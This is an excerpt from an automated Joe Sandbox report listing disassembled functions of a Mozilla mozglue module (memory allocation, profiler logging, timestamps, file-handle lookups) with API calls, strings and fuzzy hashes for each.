Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 3b09a6da4fb2e06bb181a60d055824659fcc8cb0bf634566bb376ab0eaa58fa3
Instruction ID: 869fbe4ca793360c58da392c70014a7b7f0fa97f7bf424b4e407c72bf255bb9b
Opcode Fuzzy Hash: 3b09a6da4fb2e06bb181a60d055824659fcc8cb0bf634566bb376ab0eaa58fa3
Instruction Fuzzy Hash: 3F31F630B507065BEF04AFA98C46B6E3BF5BB4570CF248114F612ABAC0DB70D88197E4

Function 6CA705F0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 226COMMON

Download Yara Rule

Strings

D($/, xrefs: 6CA70601

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID: D($/
API String ID: 0-324952136
Opcode ID: 214bfe29cca7add8542552a8a23ac44418930297c84f57a1119de15d53c00947
Instruction ID: cfc193ddcf540425faa3151e67097314790ee56be938afcb99d95ffe642cb420
Opcode Fuzzy Hash: 214bfe29cca7add8542552a8a23ac44418930297c84f57a1119de15d53c00947
Instruction Fuzzy Hash: 0DA13774A007458FDB24CF29C994A9AFBF1FF49304F54866ED44A97B00E771A989CFA0

Function 6CAC14A0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAC14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAC14E2
GetCurrentThreadId.KERNEL32 ref: 6CAC1546
InitializeConditionVariable.KERNEL32(?), ref: 6CAC15BA
free.MOZGLUE(?), ref: 6CAC16B4

Strings

D($/, xrefs: 6CAC14B2

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID: D($/
API String ID: 1909280232-324952136
Opcode ID: 12975f4a6ab886dc55d06f1f6ea9011d47e911b76ec8ed053bb456f1630a99ce
Instruction ID: 61edb29d3ea8189ae822d684e89deff70d7505e303123d6feb25c6b610e9bdbf
Opcode Fuzzy Hash: 12975f4a6ab886dc55d06f1f6ea9011d47e911b76ec8ed053bb456f1630a99ce
Instruction Fuzzy Hash: 3C61D171B007449BDB11CF24D980BEAB7B5BF89308F04851CEE8A67701DB31E989CB92

Function 6CAB9F40 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAB9FDB
free.MOZGLUE(?,?), ref: 6CAB9FF0
free.MOZGLUE(?,?), ref: 6CABA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CABA0BE
free.MOZGLUE(?,?), ref: 6CABA0D5
free.MOZGLUE(?,?), ref: 6CABA0EB

Strings

D($/, xrefs: 6CAB9F4F

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID: D($/
API String ID: 956590011-324952136
Opcode ID: 10cfbee8b1e905e56e270ae3721d64537a0e3ea0f81fd371e402774137e6cd89
Instruction ID: 3910e98c036d6ae645e9c6aa1ce143d1cb41d587446cacdca75b795b10eabd29
Opcode Fuzzy Hash: 10cfbee8b1e905e56e270ae3721d64537a0e3ea0f81fd371e402774137e6cd89
Instruction Fuzzy Hash: F061AF755096019FD711CF18C48059AB3F9FF88328F548669EC9AAB702E732E9C6CBD1

Function 6CAA9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CA9AB89: EnterCriticalSection.KERNEL32(6CAEE370,?,?,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB94
Part of subcall function 6CA9AB89: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
__Init_thread_footer.LIBCMT ref: 6CAA949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAA947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAA9459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAA946B

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: d77a9c58537fed42a668108fce31887314e42dea5c9095751f5281b3fc0a78cf
Instruction ID: 2b282edbc29c3e9fb8f999e0127c24cac680ca8a2c4e21f82ff74cd86c358ba5
Opcode Fuzzy Hash: d77a9c58537fed42a668108fce31887314e42dea5c9095751f5281b3fc0a78cf
Instruction Fuzzy Hash: D501B974A003028FE74497ADED1155533B5E70E32CF04853BD90587A42D622D9D7AAE6

Function 6CA6B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CA6B61E,?,?,?,?,?,00000000), ref: 6CA6B6AC

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA6B61E,?,?,?,?,?,00000000), ref: 6CA6B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CA6B61E,?,?,?,?,?,00000000), ref: 6CA6B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA6B61E,?,?,?,?,?,00000000), ref: 6CA6B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CA6B61E,?,?,?,?,?,00000000), ref: 6CA6B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CA6B61E), ref: 6CA6B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CA6B61E,?,?,?,?,?,00000000), ref: 6CA6B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CA6B61E,?,?,?,?,?,00000000), ref: 6CA6B79A

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 0e1abb1d5910cf213794d07a10be965ac595518cb38893ef6bb16143447f940d
Instruction ID: 2289595b9c709a781495459d9f4fdb1a176e43a1a8b226a2c7a24c61962deff3
Opcode Fuzzy Hash: 0e1abb1d5910cf213794d07a10be965ac595518cb38893ef6bb16143447f940d
Instruction Fuzzy Hash: F241B4B2D011159FCB14DF69EC806AEF7B5BB44324F290729F825E7B80E731A95487E1

Function 6CA6EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CAE5104), ref: 6CA6EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA6EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA6EFEC
free.MOZGLUE(?), ref: 6CA6F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA6F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CA6F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA6F065
moz_xmalloc.MOZGLUE ref: 6CA6F072

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 80150309f8ec7dbab22568e4df90e2764170d5efc60ac416742240a3b1407f08
Instruction ID: 3a171496b9cc546ee3f601d9b975085a7cb6c55c7207fbdd929023e864850069
Opcode Fuzzy Hash: 80150309f8ec7dbab22568e4df90e2764170d5efc60ac416742240a3b1407f08
Instruction Fuzzy Hash: 4241E7B1A002059FCB08CF68DD819AF7765BF88318B25422CE815DBB94FB31E955C7E1

Function 6CAA6590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CA9FA80: GetCurrentThreadId.KERNEL32 ref: 6CA9FA8D
Part of subcall function 6CA9FA80: AcquireSRWLockExclusive.KERNEL32(6CAEF448), ref: 6CA9FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAA6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CAA67C8

Part of subcall function 6CAB4290: memcpy.VCRUNTIME140(?,?,6CAC2003,6CAC0AD9,?,6CAC0AD9,00000000,?,6CAC0AD9,?,00000004,?,6CAC1A62,?,6CAC2003,?), ref: 6CAB42C4

Strings

data, xrefs: 6CAA6593
D($/, xrefs: 6CAA65A3

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$D($/
API String ID: 511789754-2255469439
Opcode ID: 9bf0525db4049d62e3df05ffdc31f1d524e8c441a681e89f1305f5366a223286
Instruction ID: c87d4042b7627df2ea7446856a69895b633b36112bd6b4085e1500c41243b19b
Opcode Fuzzy Hash: 9bf0525db4049d62e3df05ffdc31f1d524e8c441a681e89f1305f5366a223286
Instruction Fuzzy Hash: 6AD1DE75A043408FD724CF68D841B9BB7F5BFC5308F14892DE18997B50EB30A88ACB92

Function 6CA9D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CA6EB57,?,?,?,?,?,?,?,?,?), ref: 6CA9D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CA6EB57,?), ref: 6CA9D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CA6EB57,?), ref: 6CA9D673
free.MOZGLUE(?), ref: 6CA9D888

Strings

|Enabled, xrefs: 6CA9D81E
D($/, xrefs: 6CA9D5DC, 6CA9D7AC

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled$D($/
API String ID: 4142949111-2722631022
Opcode ID: 0e0e3415c867f7a5b19d767130d83d9a88570fd31da60d805e9dfd726678e04f
Instruction ID: afa54d5a97fda9d188c00943ff1a99729495d3af601e7c28857391a69a4d8d0d
Opcode Fuzzy Hash: 0e0e3415c867f7a5b19d767130d83d9a88570fd31da60d805e9dfd726678e04f
Instruction Fuzzy Hash: 0EA1E3B0E103458FDB14CF69C8916EEBBF1AF49318F18845CD8996B742D730A8C9CBA1

Function 6CA7B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CABCC83,?,?,?,?,?,?,?,?,?,6CABBCAE,?,?,6CAADC2C), ref: 6CA7B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CABCC83,?,?,?,?,?,?,?,?,?,6CABBCAE,?,?,6CAADC2C), ref: 6CA7B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CABCC83,?,?,?,?,?,?,?,?,?,6CABBCAE), ref: 6CA7B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CABCC83,?,?,?,?,?,?,?,?,?,6CABBCAE,?,?,6CAADC2C), ref: 6CA7B896

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 83bdd4021960ff24e2ed1c2e2a5a9df0c013e1a4515ac9a994fe2b776ea61aa2
Instruction ID: 9b96c859448c95909bb215068707d23d3ffa7d578e3dcf468bb8816a2cd2e03d
Opcode Fuzzy Hash: 83bdd4021960ff24e2ed1c2e2a5a9df0c013e1a4515ac9a994fe2b776ea61aa2
Instruction Fuzzy Hash: 29519A797002058FCB25CF58D4C8A6ABBF5FF88318B69865DE99A87351C730EC42CB94

Function 6CA64DE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA64E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA64E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA64EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA64F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CA64F1E

Strings

D($/, xrefs: 6CA64DF6

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID: D($/
API String ID: 713647276-324952136
Opcode ID: 92da667755496c85d734e2894e6850121c699fa6623853f6626b36bee66d2f0b
Instruction ID: 47f2f8934f036e4c457960f6643e002a5d79cd0777520867897ea72e72998eb6
Opcode Fuzzy Hash: 92da667755496c85d734e2894e6850121c699fa6623853f6626b36bee66d2f0b
Instruction Fuzzy Hash: 4F41CE716087019FC705CF2AC89099BB7F4BF89344F148A2DF86687B41DB30E998CB91

Function 6CA9F440 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CA9F480

Part of subcall function 6CA6F100: LoadLibraryW.KERNEL32(shell32,?,6CADD020), ref: 6CA6F122
Part of subcall function 6CA6F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA6F132

CloseHandle.KERNEL32(00000000), ref: 6CA9F555

Part of subcall function 6CA714B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CA71248,6CA71248,?), ref: 6CA714C9
Part of subcall function 6CA714B0: memcpy.VCRUNTIME140(?,6CA71248,00000000,?,6CA71248,?), ref: 6CA714EF

Part of subcall function 6CA6EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CA6EEE3

CreateFileW.KERNEL32 ref: 6CA9F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CA9F523

Strings

\oleacc.dll, xrefs: 6CA9F4CB
D($/, xrefs: 6CA9F44E

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll$D($/
API String ID: 2595878907-4212467517
Opcode ID: b6f92ad7e5ae9d411b5d312b42f4c266cd7f659510d553790ebdb6f556ab5757
Instruction ID: 4ff138daa10a2f2a5c4db06d24843b14b1dc404a0c853b460765e0d41de616f7
Opcode Fuzzy Hash: b6f92ad7e5ae9d411b5d312b42f4c266cd7f659510d553790ebdb6f556ab5757
Instruction Fuzzy Hash: 3C41C0706187109FE720DF29CD85A9AB3F4AF88318F504A1CF59183650EB30E989CBA2

Function 6CACAD70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CADE330,?,6CA8C059), ref: 6CACAD9D

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CADE330,?,6CA8C059), ref: 6CACADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CADE330,?,6CA8C059), ref: 6CACAE01
GetLastError.KERNEL32(?,00000000,?,?,6CADE330,?,6CA8C059), ref: 6CACAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CADE330,?,6CA8C059), ref: 6CACAE3D

Strings

D($/, xrefs: 6CACAD7D

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID: D($/
API String ID: 3161513745-324952136
Opcode ID: e016cf99da978d1c8bb468568a44a170e406a3dc5cdd8d9e32b91153c77efa0b
Instruction ID: 8b7113ed96f64eb8c72e6184e05b410d64329d3859a47fffc01018891edcb090
Opcode Fuzzy Hash: e016cf99da978d1c8bb468568a44a170e406a3dc5cdd8d9e32b91153c77efa0b
Instruction Fuzzy Hash: 7C317FB1A003259FDB50DF799D44AABB7F9EF48614F158829E84AD7700E734A884CBE1

Function 6CA738A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CAEE220,?,?,?,?,6CA73899,?), ref: 6CA738B2
ReleaseSRWLockExclusive.KERNEL32(6CAEE220,?,?,?,6CA73899,?), ref: 6CA738C3
free.MOZGLUE(00000000,?,?,?,6CA73899,?), ref: 6CA738F1
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA73920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CA73899,?), ref: 6CA7392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CA73899,?), ref: 6CA73943
RtlFreeHeap.NTDLL(?,00000000,0000002C), ref: 6CA7396E

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 6f98fca9fff6825e8b29a14892e1177195b37c7d52c29c156babce6832c88885
Instruction ID: 1385d67f79e975d859064564f2c728a8db2cf8f4771e9ae843b9532053b8a22c
Opcode Fuzzy Hash: 6f98fca9fff6825e8b29a14892e1177195b37c7d52c29c156babce6832c88885
Instruction Fuzzy Hash: 2F21F376602720DFD721DF55C884B86B7B9FF45728F168429E99A97B10C730F886CBA0

Function 6CAA84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA85AC

Part of subcall function 6CAA7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAA85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA767F
Part of subcall function 6CAA7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAA85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA7693
Part of subcall function 6CAA7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CAA85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA85B2

Part of subcall function 6CA85E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA85EDB
Part of subcall function 6CA85E90: memset.VCRUNTIME140(6CAC7765,000000E5,55CCCCCC), ref: 6CA85F27
Part of subcall function 6CA85E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA85FB2

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
